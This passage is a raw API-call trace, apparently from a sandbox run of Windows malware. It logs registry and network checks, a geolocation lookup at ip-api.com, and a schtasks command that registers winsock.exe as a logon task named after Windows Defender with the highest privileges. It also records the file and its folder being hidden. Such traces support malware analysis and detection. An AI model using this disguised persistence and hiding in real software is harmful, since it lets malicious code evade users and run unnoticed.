lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f028 | out: phkResult=0x18f028*=0x4b0) returned 0x0 [0162.087] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4b4 [0162.087] RegNotifyChangeKeyValue (hKey=0x4b0, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4b4, fAsynchronous=1) returned 0x0 [0162.088] GetCurrentProcess () returned 0xffffffff [0162.088] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18f018 | out: TokenHandle=0x18f018*=0x4b8) returned 1 [0162.093] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e920 | out: phkResult=0x18e920*=0x4bc) returned 0x0 [0162.093] RegQueryValueExW (in: hKey=0x4bc, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x18e93c, lpData=0x0, lpcbData=0x18e938*=0x0 | out: lpType=0x18e93c*=0x0, lpData=0x0, lpcbData=0x18e938*=0x0) returned 0x2 [0162.093] RegCloseKey (hKey=0x4bc) returned 0x0 [0162.113] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0xef35b0 [0162.125] WinHttpSetTimeouts (hInternet=0xef35b0, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0162.156] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x18f024 | out: pProxyConfig=0x18f024) returned 1 [0162.194] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x18e898, nSize=0x80 | out: lpBuffer="") returned 0x0 [0162.194] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x18e898, nSize=0x80 | out: lpBuffer="") returned 0x0 [0162.200] EtwEventRegister (in: ProviderId=0x2667340, EnableCallback=0x4af061e, CallbackContext=0x0, RegHandle=0x266731c | out: RegHandle=0x266731c) returned 0x0 [0162.201] EtwEventSetInformation (RegHandle=0xee6998, InformationClass=0x4c, EventInformation=0x2, InformationLength=0x26672dc) returned 0x0 [0162.213] GetCurrentProcess () returned 0xffffffff [0162.213] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ed84 | out: TokenHandle=0x18ed84*=0x500) returned 1 [0162.215] GetCurrentProcess () returned 0xffffffff [0162.215] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ed94 | out: TokenHandle=0x18ed94*=0x50c) returned 1 [0162.230] GetCurrentProcess () returned 0xffffffff [0162.230] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ed30 | out: TokenHandle=0x18ed30*=0x510) returned 1 [0162.231] GetCurrentProcess () returned 0xffffffff [0162.231] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ed40 | out: TokenHandle=0x18ed40*=0x514) returned 1 [0162.233] GetTimeZoneInformation (in: lpTimeZoneInformation=0x18eeb0 | out: lpTimeZoneInformation=0x18eeb0) returned 0x1 [0162.234] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x18ed0c | out: pTimeZoneInformation=0x18ed0c) returned 0x1 [0162.236] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x18edf0 | out: phkResult=0x18edf0*=0x518) returned 0x0 [0162.236] RegQueryValueExW (in: hKey=0x518, lpValueName="TZI", lpReserved=0x0, lpType=0x18ee0c, lpData=0x0, lpcbData=0x18ee08*=0x0 | out: lpType=0x18ee0c*=0x3, lpData=0x0, lpcbData=0x18ee08*=0x2c) returned 0x0 [0162.236] RegQueryValueExW (in: hKey=0x518, lpValueName="TZI", lpReserved=0x0, lpType=0x18ee0c, lpData=0x266b9bc, lpcbData=0x18ee08*=0x2c | out: lpType=0x18ee0c*=0x3, lpData=0x266b9bc*, lpcbData=0x18ee08*=0x2c) returned 0x0 [0162.237] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x18ec44 | out: phkResult=0x18ec44*=0x0) returned 0x2 [0162.237] RegQueryValueExW (in: hKey=0x518, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x18ede4, lpData=0x0, lpcbData=0x18ede0*=0x0 | out: lpType=0x18ede4*=0x1, lpData=0x0, lpcbData=0x18ede0*=0x20) returned 0x0 [0162.237] RegQueryValueExW (in: hKey=0x518, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x18ede4, lpData=0x266bde0, lpcbData=0x18ede0*=0x20 | out: lpType=0x18ede4*=0x1, lpData="@tzres.dll,-320", lpcbData=0x18ede0*=0x20) returned 0x0 [0162.237] RegQueryValueExW (in: hKey=0x518, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x18ede4, lpData=0x0, lpcbData=0x18ede0*=0x0 | out: lpType=0x18ede4*=0x1, lpData=0x0, lpcbData=0x18ede0*=0x20) returned 0x0 [0162.238] RegQueryValueExW (in: hKey=0x518, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x18ede4, lpData=0x266be38, lpcbData=0x18ede0*=0x20 | out: lpType=0x18ede4*=0x1, lpData="@tzres.dll,-322", lpcbData=0x18ede0*=0x20) returned 0x0 [0162.238] RegQueryValueExW (in: hKey=0x518, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x18ede4, lpData=0x0, lpcbData=0x18ede0*=0x0 | out: lpType=0x18ede4*=0x1, lpData=0x0, lpcbData=0x18ede0*=0x20) returned 0x0 [0162.238] RegQueryValueExW (in: hKey=0x518, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x18ede4, lpData=0x266be90, lpcbData=0x18ede0*=0x20 | out: lpType=0x18ede4*=0x1, lpData="@tzres.dll,-321", lpcbData=0x18ede0*=0x20) returned 0x0 [0162.239] CoTaskMemAlloc (cb=0x20c) returned 0xf042c0 [0162.239] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0xf042c0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0162.240] CoTaskMemFree (pv=0xf042c0) [0162.241] CoTaskMemAlloc (cb=0x20c) returned 0xf042c0 [0162.241] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x18ee00, pwszFileMUIPath=0xf042c0, pcchFileMUIPath=0x18ee04, pululEnumerator=0x18edf8 | out: pwszLanguage=0x0, pcchLanguage=0x18ee00, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x18ee04, pululEnumerator=0x18edf8) returned 1 [0162.243] CoTaskMemFree (pv=0x0) [0162.243] CoTaskMemFree (pv=0xf042c0) [0162.244] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1020001 [0162.247] CoTaskMemAlloc (cb=0x3ec) returned 0xf042c0 [0162.247] LoadStringW (in: hInstance=0x1020001, uID=0x140, lpBuffer=0xf042c0, cchBufferMax=500 | out: lpBuffer="(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna") returned 0x3c [0162.247] CoTaskMemFree (pv=0xf042c0) [0162.247] FreeLibrary (hLibModule=0x1020001) returned 1 [0162.248] CoTaskMemAlloc (cb=0x20c) returned 0xf042c0 [0162.248] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0xf042c0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0162.248] CoTaskMemFree (pv=0xf042c0) [0162.248] CoTaskMemAlloc (cb=0x20c) returned 0xf042c0 [0162.248] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x18ee00, pwszFileMUIPath=0xf042c0, pcchFileMUIPath=0x18ee04, pululEnumerator=0x18edf8 | out: pwszLanguage=0x0, pcchLanguage=0x18ee00, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x18ee04, pululEnumerator=0x18edf8) returned 1 [0162.249] CoTaskMemFree (pv=0x0) [0162.249] CoTaskMemFree (pv=0xf042c0) [0162.249] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1020001 [0162.250] CoTaskMemAlloc (cb=0x3ec) returned 0xf042c0 [0162.250] LoadStringW (in: hInstance=0x1020001, uID=0x142, lpBuffer=0xf042c0, cchBufferMax=500 | out: lpBuffer="W. Europe Standard Time") returned 0x17 [0162.251] CoTaskMemFree (pv=0xf042c0) [0162.251] FreeLibrary (hLibModule=0x1020001) returned 1 [0162.251] CoTaskMemAlloc (cb=0x20c) returned 0xf042c0 [0162.251] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0xf042c0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0162.251] CoTaskMemFree (pv=0xf042c0) [0162.251] CoTaskMemAlloc (cb=0x20c) returned 0xf042c0 [0162.251] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x18ee00, pwszFileMUIPath=0xf042c0, pcchFileMUIPath=0x18ee04, pululEnumerator=0x18edf8 | out: pwszLanguage=0x0, pcchLanguage=0x18ee00, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x18ee04, pululEnumerator=0x18edf8) returned 1 [0162.253] CoTaskMemFree (pv=0x0) [0162.253] CoTaskMemFree (pv=0xf042c0) [0162.253] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1020001 [0162.254] CoTaskMemAlloc (cb=0x3ec) returned 0xf042c0 [0162.254] LoadStringW (in: hInstance=0x1020001, uID=0x141, lpBuffer=0xf042c0, cchBufferMax=500 | out: lpBuffer="W. Europe Daylight Time") returned 0x17 [0162.254] CoTaskMemFree (pv=0xf042c0) [0162.254] FreeLibrary (hLibModule=0x1020001) returned 1 [0162.255] RegCloseKey (hKey=0x518) returned 0x0 [0162.256] SetEvent (hEvent=0x3f4) returned 1 [0162.263] EtwEventRegister (in: ProviderId=0x266f700, EnableCallback=0x4af0646, CallbackContext=0x0, RegHandle=0x266f6dc | out: RegHandle=0x266f6dc) returned 0x0 [0162.263] EtwEventSetInformation (RegHandle=0xee6318, InformationClass=0x4d, EventInformation=0x2, InformationLength=0x266f6a0) returned 0x0 [0162.265] SetEvent (hEvent=0x3f4) returned 1 [0162.266] GetACP () returned 0x4e4 [0162.282] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x18efdc | out: pFixedInfo=0x0, pOutBufLen=0x18efdc) returned 0x6f [0162.318] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0xf04c38 [0162.318] GetNetworkParams (in: pFixedInfo=0xf04c38, pOutBufLen=0x18efdc | out: pFixedInfo=0xf04c38, pOutBufLen=0x18efdc) returned 0x0 [0162.334] LocalFree (hMem=0xf04c38) returned 0x0 [0162.336] CoTaskMemAlloc (cb=0x20c) returned 0xf07dc8 [0162.336] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0xf07dc8, nSize=0x104 | out: lpBuffer="") returned 0x0 [0162.336] CoTaskMemFree (pv=0xf07dc8) [0162.336] CoTaskMemAlloc (cb=0x20c) returned 0xf07dc8 [0162.336] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0xf07dc8, nSize=0x104 | out: lpBuffer="") returned 0x0 [0162.336] CoTaskMemFree (pv=0xf07dc8) [0162.340] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x584 [0162.341] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x550 [0162.342] GetAddrInfoW (in: pNodeName="ip-api.com", pServiceName=0x0, pHints=0x18eec4*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x18ee6c | out: ppResult=0x18ee6c*=0xee9ff0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ip-api.com", ai_addr=0xf05750*(sa_family=2, sin_port=0x0, sin_addr="208.95.112.1"), ai_next=0x0)) returned 0 [0162.426] FreeAddrInfoW (pAddrInfo=0xee9ff0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ip-api.com", ai_addr=0xf05750*(sa_family=2, sin_port=0x0, sin_addr="208.95.112.1"), ai_next=0x0)) [0162.428] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x58c [0162.428] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x594 [0162.428] ioctlsocket (in: s=0x58c, cmd=-2147195266, argp=0x18ee9c | out: argp=0x18ee9c) returned 0 [0162.428] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x598 [0162.429] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x59c [0162.429] ioctlsocket (in: s=0x598, cmd=-2147195266, argp=0x18ee9c | out: argp=0x18ee9c) returned 0 [0162.429] WSAIoctl (in: s=0x58c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x18ee84, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x18ee84, lpOverlapped=0x0) returned -1 [0162.429] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x18ebb4, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0162.429] WSAEventSelect (s=0x58c, hEventObject=0x594, lNetworkEvents=512) returned 0 [0162.429] WSAIoctl (in: s=0x598, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x18ee84, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x18ee84, lpOverlapped=0x0) returned -1 [0162.429] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x18ebb4, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0162.429] WSAEventSelect (s=0x598, hEventObject=0x59c, lNetworkEvents=512) returned 0 [0162.430] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x18ee80*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x18ee80*=0xa80) returned 0x6f [0162.438] LocalAlloc (uFlags=0x0, uBytes=0xa80) returned 0xef7318 [0162.438] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0xef7318, SizePointer=0x18ee80*=0xa80 | out: AdapterAddresses=0xef7318*(Alignment=0x600000178, Length=0x178, IfIndex=0x6, Next=0xef75c8, AdapterName="{E96D977E-F067-4CE9-924D-F6E0A04729E4}", FirstUnicastAddress=0xef753c, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #2", FriendlyName="Ethernet 2", PhysicalAddress=([0]=0x0, [1]=0x1a, [2]=0x28, [3]=0x64, [4]=0xaa, [5]=0xa0, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x1c5, DdnsEnabled=0x1c5, RegisterAdapterSuffix=0x1c5, Dhcpv4Enabled=0x1c5, ReceiveOnly=0x1c5, NoMulticast=0x1c5, Ipv6OtherStatefulConfig=0x1c5, NetbiosOverTcpipEnabled=0x1c5, Ipv4Enabled=0x1c5, Ipv6Enabled=0x1c5, Ipv6ManagedAddressConfigurationSupported=0x1c5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x6, ZoneIndices=([0]=0x6, [1]=0x6, [2]=0x6, [3]=0x6, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6008002000000, Dhcpv4Server.lpSockaddr=0xef7490*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11eb6c9dc20d55b0, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x28, [5]=0xb6, [6]=0x28, [7]=0x5e, [8]=0x0, [9]=0xf, [10]=0xf3, [11]=0xe1, [12]=0x61, [13]=0x38, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x6000ff3, FirstDnsSuffix=0x0), SizePointer=0x18ee80*=0xa80) returned 0x0 [0162.452] LocalFree (hMem=0xef7318) returned 0x0 [0162.457] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x18ee9c | out: phkResult=0x18ee9c*=0x590) returned 0x0 [0162.457] RegQueryValueExW (in: hKey=0x590, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x18eeb8, lpData=0x0, lpcbData=0x18eeb4*=0x0 | out: lpType=0x18eeb8*=0x0, lpData=0x0, lpcbData=0x18eeb4*=0x0) returned 0x2 [0162.457] RegCloseKey (hKey=0x590) returned 0x0 [0162.458] WSAConnect (in: s=0x584, name=0x26784cc*(sa_family=2, sin_port=0x50, sin_addr="208.95.112.1"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0162.482] closesocket (s=0x550) returned 0 [0162.486] send (s=0x584, buf=0x26790ec*, len=144, flags=0) returned 144 [0162.488] setsockopt (s=0x584, level=65535, optname=4102, optval="\x10'", optlen=4) returned 0 [0162.489] recv (in: s=0x584, buf=0x26744e4, len=4096, flags=0 | out: buf=0x26744e4*) returned 476 [0162.514] setsockopt (s=0x584, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0162.515] SetEvent (hEvent=0x3f4) returned 1 [0162.730] EtwEventRegister (in: ProviderId=0x2688cd0, EnableCallback=0x4af066e, CallbackContext=0x0, RegHandle=0x2688cac | out: RegHandle=0x2688cac) returned 0x0 [0162.754] GetCurrentProcess () returned 0xffffffff [0162.754] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ec60 | out: TokenHandle=0x18ec60*=0x590) returned 1 [0162.756] GetCurrentProcess () returned 0xffffffff [0162.756] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ec70 | out: TokenHandle=0x18ec70*=0x5a4) returned 1 [0162.954] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe:Zone.Identifier" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir\\winsock.exe:zone.identifier")) returned 0 [0163.014] GetCurrentProcess () returned 0xffffffff [0163.014] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18f154 | out: TokenHandle=0x18f154*=0x5bc) returned 1 [0163.017] GetTokenInformation (in: TokenHandle=0x5bc, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18f154 | out: TokenInformation=0x0, ReturnLength=0x18f154) returned 0 [0163.018] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0xeddde0 [0163.018] GetTokenInformation (in: TokenHandle=0x5bc, TokenInformationClass=0x8, TokenInformation=0xeddde0, TokenInformationLength=0x4, ReturnLength=0x18f154 | out: TokenInformation=0xeddde0, ReturnLength=0x18f154) returned 1 [0163.019] LocalFree (hMem=0xeddde0) returned 0x0 [0163.020] DuplicateTokenEx (in: hExistingToken=0x5bc, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x18f15c | out: phNewToken=0x18f15c*=0x5c0) returned 1 [0163.020] CheckTokenMembership (in: TokenHandle=0x5c0, SidToCheck=0x269ba3c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18f16c | out: IsMember=0x18f16c) returned 1 [0163.020] CloseHandle (hObject=0x5c0) returned 1 [0163.021] CloseHandle (hObject=0x5bc) returned 1 [0163.024] CoTaskMemAlloc (cb=0x20e) returned 0xf02920 [0163.024] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0xf02920 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d [0163.024] CoTaskMemFree (pv=0xf02920) [0163.026] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"schtasks\" /create /tn \"win defender run\" /sc ONLOGON /tr \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpStartupInfo=0x18ef34*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x269bf44 | out: lpCommandLine="\"schtasks\" /create /tn \"win defender run\" /sc ONLOGON /tr \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe\" /rl HIGHEST /f", lpProcessInformation=0x269bf44*(hProcess=0x5c0, hThread=0x5bc, dwProcessId=0x1350, dwThreadId=0x1348)) returned 1 [0163.050] CloseHandle (hObject=0x5bc) returned 1 [0163.050] GetCurrentProcess () returned 0xffffffff [0163.050] GetCurrentProcess () returned 0xffffffff [0163.051] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x5c0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x18f16c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18f16c*=0x5bc) returned 1 [0163.051] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x3e8, cHandles=0x1, pHandles=0x18f164*=0x5bc, lpdwindex=0x18ef84 | out: lpdwindex=0x18ef84) returned 0x0 [0163.051] CoGetContextToken (in: pToken=0x18df9c | out: pToken=0x18df9c) returned 0x0 [0163.051] CoGetContextToken (in: pToken=0x18df7c | out: pToken=0x18df7c) returned 0x0 [0163.051] CoGetContextToken (in: pToken=0x18df00 | out: pToken=0x18df00) returned 0x0 [0163.052] WbemLocator:IUnknown:Release (This=0xe8a518) returned 0x1 [0163.052] WbemLocator:IUnknown:Release (This=0xea2df8) returned 0x0 [0163.052] CoGetContextToken (in: pToken=0x18df00 | out: pToken=0x18df00) returned 0x0 [0163.052] IUnknown:Release (This=0xed65d8) returned 0x2 [0163.052] IUnknown:Release (This=0xed65d8) returned 0x1 [0163.054] CoGetContextToken (in: pToken=0x18df9c | out: pToken=0x18df9c) returned 0x0 [0163.054] CoGetContextToken (in: pToken=0x18df54 | out: pToken=0x18df54) returned 0x0 [0163.054] WbemLocator:IUnknown:Release (This=0xe8a118) returned 0x1 [0163.054] IUnknown:Release (This=0xe9ead8) returned 0x0 [0163.861] CloseHandle (hObject=0x5bc) returned 1 [0163.862] GetExitCodeProcess (in: hProcess=0x5c0, lpExitCode=0x18f1cc | out: lpExitCode=0x18f1cc*=0x0) returned 1 [0163.863] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", nBufferLength=0x105, lpBuffer=0x18eccc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", lpFilePart=0x0) returned 0x38 [0163.863] SetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", dwFileAttributes=0x2) returned 1 [0163.864] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir", nBufferLength=0x105, lpBuffer=0x18ecb8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir", lpFilePart=0x0) returned 0x2c [0163.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x18f1a0) returned 1 [0163.867] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir"), fInfoLevelId=0x0, lpFileInformation=0x269c6ec | out: lpFileInformation=0x269c6ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9435ef4a, ftCreationTime.dwHighDateTime=0x1da5a12, ftLastAccessTime.dwLowDateTime=0x9438512a, ftLastAccessTime.dwHighDateTime=0x1da5a12, ftLastWriteTime.dwLowDateTime=0x9438512a, ftLastWriteTime.dwHighDateTime=0x1da5a12, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0163.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x18f19c) returned 1 [0163.867] SetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir", dwFileAttributes=0x12) returned 1 [0166.664] RoGetParameterizedTypeInstanceIID () returned 0x0 [0166.675] 